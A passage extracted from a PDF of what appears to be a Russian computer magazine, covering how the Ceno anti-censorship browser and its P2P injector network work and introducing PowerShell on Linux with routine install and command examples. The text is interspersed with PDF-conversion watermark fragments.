Вместе­ с тем аноним­ ­ность и обход цензуры­ — это принципи­ ­аль­но разные­ категории­ . Создатели­ Ceno говорят как раз о второй­ . Браузер­ позволя­ ­ет получать доступ­ к контенту­ в условиях­ блокиро­ ­вок, ограниче­ ­ний, агрессивной­ фильтра­ ­ции трафика­ или даже если полностью­ перекрыт­ доступ­ к внешнему­ интернету­ и одновремен­ ­но внутри­ страны­ создан­ националь­ ­ный интранет­ . Именно­ так дела обстоят­ в КНР и Северной­ Корее, весьма­ близок­ к ней Иран… В общем, не будем продол­ ­жать этот список­ . Разработ­ ­чик библиоте­ ­ки и браузе­ ­ра — компания­ eQualitie гордо­ заявляет­ на своем­ сайте­ , что прог ­ рамма была создана­ с целью поддер­ ­жки статей­ 18, 19 и 20 Всеобщей­ дек ­ ларации прав человека­ , среди­ которых перечислены­ права­ на свободу­ мысли­ , совести­ и убеждений­ .

БРАУЗЕР

С точки­ зрения­ пользователь­ ско­ го­ интерфейса­ Ceno представ­ ляет­ собой обычный­ мобильный­ Firefox, все «нецензурные­ » функции­ спрятаны­ у него под капотом. Для трансля­ ции­ запросов­ использует­ ся­ протокол­ HTTP, для передачи­ контента­ — BitTorrent µTP. Шифрование­ обеспечива­ ется­ с при ­ менением­ TLS, для провер­ ки­ подлиннос­ ти­ трансли­ руемых­ данных­ задейство­ ­ ваны цифровые­ подписи­ EdDSA в версии­ Ed25519. При необходимос­ ти­ Ouinet может использовать­ вместо­ µTP транспорт­ Tor, если в сети пользовате­ ля­ бло ­ кируются­ торрент­ протоко­ лы­ .

Все это вместе­ приводит­ к тому, что Ceno генерирует­ значитель­ ­но больше­ трафика­ по сравнению­ с другими­ мобильными­ браузе­ ­рами — ведь ему необ ­ ходимо направлять­ запросы­ сразу­ на множес­ ­тво узлов сети и проксировать­ трафик­ , чтобы­ передать контент­ другим­ пользовате­ ­лям. Поэтому­ подразуме­ ­ вается­ , что браузер­ будут использовать­ в сетях с хорошим качеством­ связи­ или нелимитиро­ ­ван­ным трафиком­ , в которых нет проблем­ со связью внутри­ страны­ , но имеются­ сложности­ с выходом во внешний­ интернет.

 

Сущес­ тву­ ющая­

версия­

Ceno

работает­ только­

 

на устройствах­

с процес­ сорами­

ARM. Если ты

 

используешь­

Android на планшете­

с архитек­ турой­

 

x86 или пытаешь­ ся­ запустить­

Ceno в эмулято­

ре­

 

без виртуали­

зации­

железа, ничего не получится­ .

А ЧТО ПОД КАПОТОМ?

Когда­ пользователь­ с установ­ ленным­ на его Android-устройстве­ Ceno зап ­ рашивает­ какую либо веб страницу­ в интернете­ , браузер­ пытается­ получить к ней доступ­ по URL напрямую­ . Если сделать­ этого­ не удается­ , например­ зап ­ рос к целевому­ сайту­ блокиру­ ется­ , Ceno перенаправля­ ет­ его в распре­ делен­ ­ ный индекс P2P-сети. В этом индексе хранят­ ся­ записи о том, на каком узле сети имеется­ сохранен­ ная­ копия целевой страницы­ . Индекс постро­ ен­ с использовани­ ем­ распре­ делен­ ных­ хеш таблиц­ DHT (distributed hash table) — таких же, которые применя­ ются­ для маршру­ тиза­ ции­ в обычных­ торрент­ сетях. Если искомый­ контент­ обнаружи­ вает­ ся­ на каком либо устройстве­ , отправив­ ­ ший запрос­ клиент­ получает­ пару «IP-адрес:порт» этого­ девайса­ . URL в таб ­ лице индекса хранят­ ся­ в виде хешей, для получения­ которых использует­ ся­ специаль­ ная­ криптогра­ фичес­ кая­ хеш функция­ . Но что делать, если нужного­ контента­ в Р2Р сети нет?

В этом случае­ клиент­ обращает­ ­ся к так называемым­ инжекторам­ . Инжектор — это не деталь в автомоби­ ­ле, а специаль­ ­ный прозрачный­ прок ­ си сервер­ , который находится­ за предела­ ­ми цензуриру­ ­емо­го участка­ сети и старает­ ­ся оставать­ ­ся доступным­ для клиентов­ Ceno. Трафик­ между­ инжектором­ и клиентом­ шифрует­ ­ся с использовани­ ­ем SSL/TLS, чтобы­ никто­ не мог идентифици­ ­ровать инжекторы­ , прослушивая­ трафик­ . А чтобы­ какой нибудь злодей­ не выдал себя за инжектор, передаваемый­ контент­ под ­ писывается­ цифровой­ подписью­ EdDSA.

Если­ один из инжекторов­ вдруг «умрет» или будет заблокиро­ ван­ — не беда, в сети их много­ . Разработ­ чики­ Ceno используют­ для этого­ термин­ «рой инжекторов­ ». Их адреса­ также­ хранят­ ся­ в распре­ делен­ ных­ хеш таб ­ лицах, и клиент­ получает­ их по запросу­ .

Если­ же клиенту­ не удастся­ достучать­ ­ся ни до одного­ инжектора­ , он попытается­ передать запрос­ и получить требуемый­ контент­ через другие­ узлы сети, для которых инжекторы­ еще доступны­ . В этом случае­ транзитные­ узлы играют­ роль мостов­ , или бриджей­ , а между­ клиентом­ и инжектором­ формиру­ ­ ется туннель­ через промежу­ ­точ­ный узел. А посколь­ ­ку трафик­ «клиент­ — инжектор» шифрует­ ­ся, бридж не видит, какую именно­ информацию­ он передает­ .

Переда­ ча­ данных­ в сети Ceno (иллюстра­ ция­ с сайта­ разработ­ чика­ )

Перед­ тем как трансли­ ­ровать контент­ в P2P-сеть, инжектор подписыва­ ­ет его своей­ цифровой­ подписью­ . После­ этого­ каждый­ клиент­ сам может стать прокси­ сервером­ и делиться­ данными­ из собствен­ ­ного кеша с другими­ учас ­ тниками­ сети — валидная­ подпись­ инжектора­ гарантиру­ ­ет, что этот контент­ действи­ ­тель­но получен из внешнего­ интернета­ , а не подделан­ на внутреннем­ узле. Инжекторы­ используют­ пару открытого­ и закрытого­ ключей­ для соз ­ дания подписей­ Ed25519, открытые­ ключи­ достаточ­ ­но малы, чтобы­ их можно­

было отправлять­ вместе­ с подписями­ , и представ­ ­лены в виде 64 шестнад­ ­ цатеричных­ символов­ или 52 символов­ в Base32. Разные­ инжекторы­ исполь ­ зуют разные­ ключи­ , поэтому­ пользователь­ может выбирать, каким из них он доверяет­ , а каким — нет. Скажем­ , если инжектор находится­ в той же стране­ , где живет пользователь­ , но при этом не подвержен­ цензуре­ , велик риск, что такой инжектор контро­ ­лиру­ется спецслуж­ ­бами. По умолчанию­ доверенными­ считают­ ­ся только­ инжекторы­ , управляемые­ компани­ ­ей eQualitie — разработ­ ­ чиком браузе­ ­ра, но эту настрой­ ­ку можно­ изменить­ .

Получив­ запрошен­ ную­ веб страницу­ , клиент­ , во первых­ , отобража­ ет­ ее в браузе­ ре­ Ceno, во вторых­ , сохраня­ ет­ копию в локальном­ кеше, а в третьих­ , вносит­ в распре­ делен­ ные­ хеш таблицы­ DHT запись о том, что он располага­ ет­ этой самой копией­ . Время­ хранения­ контента­ в кеше пользователь­ может настро­ ить­ самостоятель­ но­ — по умолчанию­ он содержится­ там до тех пор, пока страница­ не будет замещена­ более актуаль­ ной­ копией­ либо пока кеш не будет очищен­ .

Если­ доступ­ к внешнему­ интернету­ пропал­ полностью­ , например­ работает­ на полную­ катушку­ националь­ ­ный файрвол­ , контент­ сможет­ распростра­ ­нять­ся только­ внутри­ сети Ceno. При этом, если один клиент­ получит копию какой либо веб страницы­ или видеофай­ ­ла от другого­ клиента­ , он сам начинает­ раздавать­ этот файл в сеть. Таким образом­ , контент­ остается­ дос ­ тупен, даже если первый­ узел, на который он был загружен­ из интернета­ , арес­тован отключил­ ­ся или перестал­ отвечать­ на запросы­ . Аналогич­ ­но тор ­ рентам, клиенты­ Ceno могут тянуть файлы­ сразу­ из несколь­ ­ких источников­ небольшими­ порциями­ , что снижает­ трафик­ и повышает­ доступность­ кон ­ тента. Так в общих чертах­ это работает­ .

ПРОБЛЕМЫ БЕЗОПАСНОСТИ

Как уже упомина­ ­лось, связка­ Ceno + Ouinet обеспечива­ ­ет доступность­ кон ­ тента, когда­ подклю­ ­чение к интернету­ ограничи­ ­вают, но отнюдь не аноним­ ность. При большом­ желании можно­ отследить­ и самих пользовате­ ­лей в сети Ceno, и просмотреть­ , чем они делятся­ с окружающи­ ­ми, посколь­ ­ку шифрует­ ­ся трафик­ только­ на участке­ «клиент­ — инжектор», а на канале «клиент­ — клиент­ » шифрование­ не использует­ ­ся. Это открывает­ широкие возможнос­ ­ти для про ­ ведения­ атак типа MITM.

Из таблиц­ маршру­ тиза­ ции­ Ceno можно­ получить IP-адреса­ зарегистри­ ­ рованных­ в сети устройств­ , а значит­ , об аноним­ ности­ тут нет и речи. А пос кольку­ девайс с установ­ ленным­ Ceno не только­ получает­ , но и раздает­ кон ­ тент, его владель­ ца­ вполне­ можно­ привлечь­ за распростра­ нение­ запрещен­ ­ ной информации­ . Законодатель­ ство­ некоторых­ стран это вполне­ допускает­ .

Для обхода­ столь щепетильного­ момента­ браузер­ Ceno имеет­ так называ ­ емый режим приват­ ­ного просмотра­ . В этом режиме запросы­ к индексу DHТ не отправляют­ ­ся, а контент­ не кешируется­ . Вместо­ этого­ браузер­ просто­ использует­ инжекторы­ в качестве­ прозрачно­ ­го прокси­ . При этом инжектор видит IP-адрес отправив­ ­шего ему запрос­ хоста­ , но не может определить­ , конечный­ это клиент­ сети или бридж.

К надежности­ всей системы­ тоже есть некоторые­ вопросы­ . Посколь­ ку­ IPадреса­ всех инжекторов­ в рое нетрудно­ получить из индекса, их теоретичес­ ки­ можно­ заблокиро­ вать­ или заддосить­ . Также­ очевид­ но­ , что в публичном­ режиме просмотра­ невозможно­ получить доступ­ к контенту­ , требующе­ му­ авториза­ ции­ , посколь­ ку­ перед отправкой­ запроса­ инжектору­ из него сначала­ удаляют­ ся­ логины и пароли, после­ чего он шифрует­ ся­ , а при возвра­ те­ данных­ клиенту­ инжектор удаляет­ оттуда­ куки. Делается­ это для того, чтобы­ приват­ ­ ные данные­ не утекли­ в Р2Р сеть. Таким образом­ , просмотр­ какого либо лич ­ ного контента­ , вроде­ своей­ странич­ ки­ в заблокиро­ ван­ ной­ соцсети­ , возможен­ только­ в приват­ ном­ режиме.

Есть и еще один нюанс, не совсем­ очевид­ ­ный, но вместе­ с тем немало ­ важный­ . Все доверенные­ инжекторы­ в сети Ceno принад­ ­лежат компании­ eQualitie. Можно­ ли поручить передачу­ своей­ информации­ и собствен­ ­ную безопасность­ коммерчес­ ­кой организа­ ­ции, которая разработа­ ­ла и бесплат­ ­но распростра­ ­няет библиоте­ ­ку Ouinet, мобильный­ браузер­ и источники­ финан ­ сирования­ которой неизвес­ ­тны? Это очень непростой­ вопрос­ .

ЛИЧНЫЙ ОПЫТ

Установить­ Ceno Browser можно­ из Google Play. В целом мои ожидания­ под ­ твердились­ : внешне­ это вполне­ обычный­ Firefox для Android со стандар­ тны­ ми­ элемен­ тами­ управления­ . Серфинг­ проходит­ тоже вполне­ традици­ онно­ , разве­ что страницы­ загружа­ ются­ чуть медленнее­ , чем в обычном­ мобильном­ бра ­ узере­ , но все же вполне­ шустро­ . При работе с Ceno я обратил­ внимание­

на то, что в публичном­ режиме некоторые­ новостные­ сайты­ содержат­ не самую актуаль­ ­ную информацию­ в ленте­ , посколь­ ­ку подгру­ ­жают­ся из кеша. А вот в режиме приват­ ­ного просмотра­ эта проблема­ исчезла, зато время­ заг ­ рузки контента­ ощутимо­ возросло­ .

Ceno ин экшн

В основе­ Ceno лежит довольно­ старая­ версия­ Firefox, но авторы­ обещают­ обновить­ ее, когда­ основные работы над проектом­ будут закончены­ . Тем не менее использование­ устарев­ шего­ движка­ , исходники­ которого­ уже давно­ лежат в открытом­ доступе­ , наводит на грустные­ мысли­ об уязвимос­ тях­ . Но как бы то ни было, софтина­ работает­ , недоступные­ в обычном­ режиме сайты­ открывают­ ся­ , а что до скорос­ ти­ — то с неторопливостью­ Ceno можно­ смирить­ ся­ , особен­ но­ если учесть, что при использовании­ этого­ браузе­ ра­ не нужно­ городить огород­ с VPN.

ЗАКЛЮЧЕНИЕ

Технология­ Ceno может быть очень полезна­ для пользовате­ ­лей, потребля­ ­ ющих подверга­ ­емый цензуре­ контент­ , а также­ для населения­ стран, где под ­ ключение­ к интернету­ нестабиль­ ­но, ненадежно­ или дорого. С помощью одно ­ ранговой­ P2P-сети организу­ ­ется своего­ рода комьюни­ ­ти, участни­ ­ки которого­ помогают­ друг другу­ делиться­ информацией­ и преодо­ ­левать различные­ искусствен­ ­ные ограниче­ ­ния. Тем не менее эта технология­ не лишена ряда недостатков­ , наличие которых следует­ обязатель­ ­но учитывать­ , если ты решишь установить­ Ceno на свой Android-смартфон­ или планшет­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

АДМИН

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПРИМЕНЯЕМ POWERSHELL

В LINUX

Андрей Попов andpop@mail.ru

«Санкции­ », «импортозаме­ ­щение» — эти словеч­ ­ки в пос ­ леднее время­ все чаще встречают­ ­ся в прессе­ и сетевых пуб ­ ликациях­ . Под давлени­ ­ем обстоятель­ ­ств некоторые­ ком ­ пании переходят­ на Linux и свобод­ ­ное ПО. Когда­ работаешь­

в Linux или используешь­ две операци­ ­онные системы­ сразу­ , очень хочется­ сохранить­ удобное­ окружение­ и привыч­ ­ное средство­ автомати­ ­зации, роль которого­ в Windows играет­ PowerShell. Можно­ ли полноцен­ ­но использовать­ его в Linux? Конечно­ , и сейчас­ мы разберем­ ­ся, как.

GUI И CLI

С точки­ зрения­ обычного­ пользовате­ ­ля, ОС — это графичес­ ­кая оболоч­ ­ка для манипуляций­ с файловой­ системой­ компьюте­ ­ра и запуска­ различных­ при ­ ложений­ . Внешне­ операци­ ­онные системы­ отличают­ ­ся друг от друга­ нез ­ начительно­ , так как графичес­ ­кий интерфейс везде­ состоит­ из одних и тех же элемен­ ­тов (окна, кнопки­ , раскры­ ­вающиеся списки­ и прочее­ ), а файловые­ системы­ постро­ ­ены на одном принципе­ вложен­ ­ных каталогов­ и файлов­ .

Поэто­ му­ работа с GUI-приложе­ ниями­ в Windows и Linux выглядит­ одинако­ ­ во и интуитив­ но­ понятна­ , основные операции­ выполняют­ ся­ стандар­ тны­ ми­ способа­ ми­ в более менее привыч­ ном­ интерфейсе­ .

Продвинутые­ пользовате­ ­ли и профес­ ­сиона­лы для автомати­ ­зации работы пользуют­ ­ся еще одним инстру­ ­мен­том, присутс­ ­тву­ющим в любой десктоп­ ­ной операци­ ­онной системе­ . Это командный­ интерпре­ ­татор (оболоч­ ­ка) и набор стандар­ ­тных утилит­ , исполняющих­ ­ся в консоль­ ­ном режиме. Командный­ интерпре­ ­татор решает­ сразу­ две задачи:

выпол­ ­нение команд, которые вводят­ ­ся вручную­ с помощью интерфейса­ командной­ строки­ (Command Line Interface, CLI);

поддер­ ­жка языка­ программи­ ­рова­ния для создания­ скриптов­ , исполняемых­ в операци­ ­онной системе­ .

Вотличие­ от графичес­ ­кого интерфейса­ , CLI-инстру­ ­мен­ты нельзя­ назвать­ интуитив­ ­ными. Нужно­ знать, какие именно­ команды­ есть в операци­ ­онной сис ­ теме, с какими ключами­ их запускать­ , как можно­ комбиниро­ ­вать эти команды­ для получения­ требуемо­ ­го результата­ .

Дело­ осложняется­ тем, что в Windows и Linux используют­ ся­ разные­ коман ­ дные оболоч­ ки­ со своими­ наборами­ служеб­ ных­ команд. Это связано­ как с принципи­ аль­ ными­ отличиями­ в архитек­ туре­ ОС, так и с историчес­ кими­ при ­ чинами­ .

CLI в Linux

В Linux работу с командной­ строкой­ поддержи­ ­вает та или иная модификация­ оригиналь­ ­ной оболоч­ ­ки sh операци­ ­онной системы­ Unix, обычно­ это Bash (Bourne again shell) или Zsh (Z shell).

Коман­ дная­ строка­ в Linux

Функци­ ­ональ­ность этих командных­ интерпре­ ­тато­ров и набор консоль­ ­ных ути ­ лит базируются­ на стандарте­ POSIX, созданном­ для обеспечения­ совмести­ ­ мости­ различных­ Unix-подобных­ операци­ ­онных систем­ . Поэтому­ во всех модификаци­ ­ях Linux (как и в операци­ ­онной системе­ macOS) используют­ ­ся одни и те же команды­ , которые можно­ соединять­ друг с другом­ в програм­ ­ мные конвей­ ­еры, когда­ текст из выходного­ потока одной утилиты­ направля­ ­ ется на вход другой­ .

Многие­ стандар­ ­тные команды­ Linux ориенти­ ­рова­ны на обработ­ ­ку текста­ (grep, sed, awk, sort, cut, tail), так как в Unix-подобных­ операци­ ­онных сис ­ темах тексто­ ­вые данные­ принято­ использовать­ в качестве­ универ­ ­саль­ного представ­ ­ления информации­ , различные­ системные­ настрой­ ­ки и конфигура­ ­ ции приложе­ ­ний хранят­ ­ся в обычных­ тексто­ ­вых файлах­ .

Еще один базовый принцип­ Unix, перешедший­ в Linux, выражается­ фразой­ «всё есть файл». Поэтому­ одни и те же утилиты­ можно­ использовать­ для работы как с обычными­ тексто­ выми­ файлами­ , так и с виртуаль­ ными­ фай ­

лами, представ­ ­ляющи­ми собой каналы связи­ программ­ друг с другом­ , периферий­ ­ными устройства­ ­ми и устройства­ ­ми, эмулиру­ ­ющи­ми ядро опе ­ рационной­ системы­ .

Таким­ образом­ , несложные­ задачи автомати­ зации­ в Linux в итоге­ сводят­ ся­

к манипуляци­ ­ям с файловой­ системой­ и обработ­ ­ке текста­ с помощью име ­ ющихся­ в системе­ стандар­ ­тных команд. Такие задачи удобно­ решать, пос ­ ледователь­ ­но применяя­ несколь­ ­ко команд, объеди­ ­нен­ных тексто­ ­выми потоками­ в конвей­ ­ер.

Пример­ конвей­ ера­

Типич­ ­ный пример­ : необходимо­ очистить­ каталог /tmp от файлов­ , которые старше­ семи дней. Объеди­ ­няем в конвей­ ­ер команду­ find для поиска­ файлов­

и команду­ rm для их удаления­ :

find /tmp -type f -name '*' -mtime +7 -print0 | xargs -0 rm -f

В более сложных­ случаях­ , когда­ парой конвей­ еров­ не обойтись­ , пишут сце ­ нарии на поддержи­ ваемом­ оболоч­ кой­ древнем­ командно­ скриптовом­ языке­ , который никак нельзя­ назвать­ удобным­ и интуитив­ но­ понятным­ , или на одном из универ­ саль­ ных­ интерпре­ тиру­ емых­ языков­ , самый популярный­ из которых сейчас­ — Python.

CLI в Windows

Современ­ ­ные версии­ Windows базируются­ на разработан­ ­ной в начале 1990-х годов Windows NT, имеющей­ , в отличие­ от Unix, API-ориенти­ ­рован­ную архи ­ тектуру­ . Операци­ ­онные системы­ этого­ семейства­ состоят­ из огромного­ числа­ подсистем­ и компонен­ ­тов, доступ­ к которым организо­ ­ван через специфи­ ­чес ­ кие API. Для упрощения­ работы с такой сложной­ системой­ управляемые­ эле менты­ группиру­ ­ются в структуриро­ ­ван­ные объекты­ .

В этом и состоит­ принципи­ аль­ ное­ отличие­ Windows от Unix-подобных­ сис ­ тем, которые ориенти­ рова­ ны­ на использование­ текста­ для представ­ ления­ всего­ , что только­ можно­ . Инстру­ мент­ для управления­ Windows из командной­ строки­ должен­ не только­ поддержи­ вать­ работу с файловой­ системой­ и тек ­ стовыми­ файлами­ , как в Unix-системах­ , но и обеспечивать­ простой­ и еди ­ нообразный­ доступ­ к свойствам­ и методам множес­ тва­ внутренних­ объектных­ моделей Windows (.NET Framework, WMI, WSH, ADSI, CDO и так далее).

Стандар­ ­тный командный­ интерпре­ ­татор cmd.exe, появивший­ ­ся в Windows NT и благопо­ ­луч­но доживший­ до последних­ версий­ Windows, не имел такой возможнос­ ­ти, его основной задачей было обеспечивать­ обратную совмести­ ­ мость с командным­ интерпре­ ­тато­ром command.com предыду­ ­щей операци­ ­ онной системы­ MS-DOS, в которой не было никаких внутренних­ объектных­ систем­ . По возможнос­ ­тям оболоч­ ­ки cmd.exe и составу­ системных­ консоль­ ­ ных утилит­ Windows всегда­ уступала­ Unix-подобным­ системам­ . Основные уси ­ лия разработ­ ­чиков направля­ ­лись на улучшение­ графичес­ ­кой оболоч­ ­ки, а не на командную­ строку­ .

Для решения этих проблем­ Microsoft в начале 2000-х разработа­ ла­ новую оболоч­ ку­ и среду­ выполнения­ сценари­ ев­ Windows PowerShell, которая впи ­ тала в себя удачные­ решения из других­ оболочек­ и скриптовых­ языков­ . PowerShell обеспечива­ ет­ прямой­ доступ­ из командной­ строки­ к внутренним­ объектам­ системы­ и позволя­ ет­ работать с различны­ ми­ источниками­ данных­ (например­ , с системным­ реестром­ или хранили­ щем­ сертифика­ тов­ ) по прин ­ ципу файловой­ системы­ . Внутренний­ набор команд PowerShell можно­ допол ­ нять собствен­ ными­ командами­ , которые полностью­ интегрируют­ ся­ в оболоч­ ­ ку.

От всех других­ оболочек­ командной­ строки­ PowerShell отличает­ главная­ особен­ ­ность — ее ориента­ ­ция на объекты­ . Команды­ PowerShell, которые при ­ нято называть командле­ ­тами, взаимо­ ­дей­ству­ют друг с другом­ не с помощью символь­ ­ных строк, а через объекты­ . Поэтому­ работать в PowerShell становит­ ­ ся проще­ , чем в традици­ ­онных оболоч­ ­ках: не нужно­ дополнитель­ ­но ничего делать, чтобы­ выделить информацию­ из символь­ ­ного потока.

Последова­ тель­ ность­ командле­ тов­

Например­ , нужно­ получить упорядо­ ­чен­ный по количеству­ затрачен­ ­ного про ­ цессорно­ ­го времени­ список­ процес­ ­сов, идентифика­ ­торы которых боль ­ ше 1000. Это делается­ конвей­ ­ером из трех команд, назначение­ которых оче ­ видно­ из их названий­ :

Get-Process | Where-Object Id -gt 1000 | Sort-Object cpu -Descending

Для поддер­ жки­ объектов­ разработ­ чики­ PowerShell восполь­ зовались­ объ ­ ектной моделью .NET Framework. Таким образом­ , язык PowerShell относит­ ся­

к .NET-языкам­ программи­ рова­ ния­ (как C#), и при этом он совершенно­

не похож на другие­ . Это командно­ скриптовый­ язык, позволя­ ­ющий сов ­ мещать в сценари­ ­ях императив­ ­ный и декларатив­ ­ный стили­ программи­ ­рова ­ ния.

Объединение миров Windows и Linux

Итак, в Windows и Linux живут совершенно­ разные­ командные­ оболоч­ ­ки, однако­ старани­ ­ями Microsoft стало­ возможным­ работать с привыч­ ­ной для себя оболоч­ ­кой в любой системе­ :

Bash в Windows. С помощью подсисте­ ­мы WSL (Windows Subsystem for Linux) можно­ установить­ из Microsoft Store один из дистри­ ­бути­вов Linux и пользовать­ ­ся его командной­ оболоч­ ­кой для работы с файловой­ сис ­ темой Windows или запуска­ Windows-утилит­ . Также­ в этом случае­ можно­ будет запускать­ утилиты­ Linux в командной­ строке­ Windows.

PowerShell в Linux. В 2017 году Microsoft открыла­ исходный код

PowerShell, теперь это Open Source проект­ (вот репози­ ­торий на GitHub).

Оболоч­ ­ка, использующая­ .NET Core, стала­ кросс платформен­ ­ной, с ней можно­ работать в различных­ дистри­ ­бути­вах Linux (Debian, Ubuntu, CentOS, Red Hat, openSUSE, Fedora) и в macOS.

Вначале­ кросс платформен­ ­ная версия­ оболоч­ ­ки называлась­ PowerShell Core 6, чтобы­ явно указать­ ее зависимость­ от .NET Core. Начиная с седьмой­ вер ­ сии слово­ Core из названия­ убрали­ , теперь оболоч­ ­ка носит имя просто­ PowerShell. Версия­ оболоч­ ­ки, базирующаяся­ на полной­ платформе­ Windows

.NET Framework, называется­ Windows PowerShell.

УСТАНОВКА И ЗАПУСК

Установ­ ­ка PowerShell зависит от типа операци­ ­онной системы­ и ее версии­ , соответс­ ­тву­ющие инструк­ ­ции имеются­ на сайте­ Microsoft. Например­ , для установ­ ­ки PowerShell в операци­ ­онной системе­ Linux Ubuntu 20.04 нужно­ выполнить­ следующие­ команды­ :

sudo apt-get update0

sudo apt-get install -y wget apt-transport-https software-properties-

common0

wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-

microsoft-prod.deb0

sudo dpkg -i packages-microsoft-prod.deb0

sudo apt-get update0

sudo add-apt-repository universe0

sudo apt-get install -y powershell0

Чтобы­ запустить­ установ­ ленную­ оболоч­ ку­ PowerShell, выполним­ в терминале­ команду­ pwsh. После­ вывода информации­ о версии­ PowerShell мы получим обычное­ приглашение­ командной­ строки­ с путем к текущему­ каталогу­ в качес ­ тве префик­ са­ .

PowerShell в Linux

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

АДМИН

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ПРИМЕНЯЕМ POWERSHELL В LINUX

POWERSHELL КАК КОМАНДНАЯ ОБОЛОЧКА

Для эффективной­ и удобной­ работы в командной­ строке­ важны­ два момента­ .

1.Нужно­ знать названия­ команд и их ключей­ . Запомнить­ их будет проще­ , если синтаксис­ команд интуитив­ ­но понятен и однороден­ . Если мы не пом ­ ним ключи­ у команды­ , то должна­ быть возможность­ быстро­ найти­ справку­ по этой команде­ и примеры­ ее использования­ .

2.Сами­ команды­ и их ключи­ должны­ быть краткими­ и удобными­ для быстро­ ­го набора на клавиату­ ­ре. Оболоч­ ­ка должна­ поддержи­ ­вать механизмы­ авто ­ дополнения­ , поиска­ и повтора­ выполнявших­ ­ся ранее команд.

Если­ со вторым­ пунктом­ у стандар­ тных­ оболочек­ Linux все хорошо, то пох ­ валиться­ понятностью­ имен и ключей­ команд они не могут: названия­ многих­ утилит­ представ­ ляют­ собой аббревиату­ ры­ , придуман­ ные­ еще в 1960-е годы, а одни и те же ключи­ в разных­ командах­ могут иметь разный­ смысл. В PowerShell такой проблемы­ нет.

Структура команд и псевдонимы

В PowerShell имена­ всех внутренних­ команд соответс­ тву­ ют­ шаблону­ «дей ­ ствие объект­ », например­ Get-Process (получить информацию­ о процес­ се­ ), Get-Content (получить содержимое­ файла­ ), Clear-Host (очистить­ экран). Для одинако­ вых­ параметров­ команд используют­ ся­ стандар­ тные­ имена­ , струк ­ тура параметров­ во всех командах­ идентична­ , все команды­ обрабаты­ вают­ ся­ одним синтакси­ чес­ ким­ анализа­ тором­ . Это делает­ семантику­ команд очевид­ ­ ной и значитель­ но­ упрощает­ запоминание­ и использование­ команд

PowerShell.

Сдругой­ стороны­ , иногда­ PowerShell ругают­ именно­ за этот многос­ ­ловный

инеобычный­ для других­ оболочек­ синтаксис­ . Например­ , нам нужно­ создать­

в текущем каталоге­ пустой­ файл 1.txt. В Bash это делается­ командой­ touch из пяти букв:

~ touch 1.txt0

При создании­ файла­ в PowerShell с помощью команды­ New-Item с парамет ­ рами потребу­ ­ется ввести­ больше­ двадцати­ символов­ .

Создание­ файла­ 1.txt c помощью команды­ New-Item

Выглядит­ ужасно­ , правда­ ? Но того же результата­ можно­ добиться­ , набрав­ команду­ ni всего­ из двух символов­ .

Создание­ файла­ 2.txt c помощью команды­ ni

Коман­ ­да ni — это стандар­ ­тный псевдоним­ для New-Item (сокращение­

по первым­ буквам­ слов команды­ ), значение­ File для параметра­ -Type использует­ ­ся по умолчанию­ , имя параметра­ -Path можно­ опустить­ .

Таким­ образом­ , стандар­ тные­ псевдонимы­ PowerShell, полный­ список­ которых можно­ получить с помощью команды­ Get-Alias, помогают­ быстро­ вводить­ команды­ и создавать­ компак­ тные­ и лаконичные­ конвей­ еры­ из нес ­ кольких­ команд.

Получе­ ние­ полного­ списка­ псевдонимов­ c помощью команды­ Get-Alias

Отметим­ , что в Windows PowerShell за некоторыми­ командле­ ­тами закрепле­ ­ны псевдонимы­ , соответс­ ­тву­ющие стандар­ ­тным командам­ Unix-подобных­ сис ­

тем: ls, rm, cp, mv, cat, ps, man, mount. В PowerShell 6/7 данные­ псевдонимы­ не определе­ ­ны, их ввод приведет­ к выполнению­ «родных­ » команд Linux.

Доступность команд

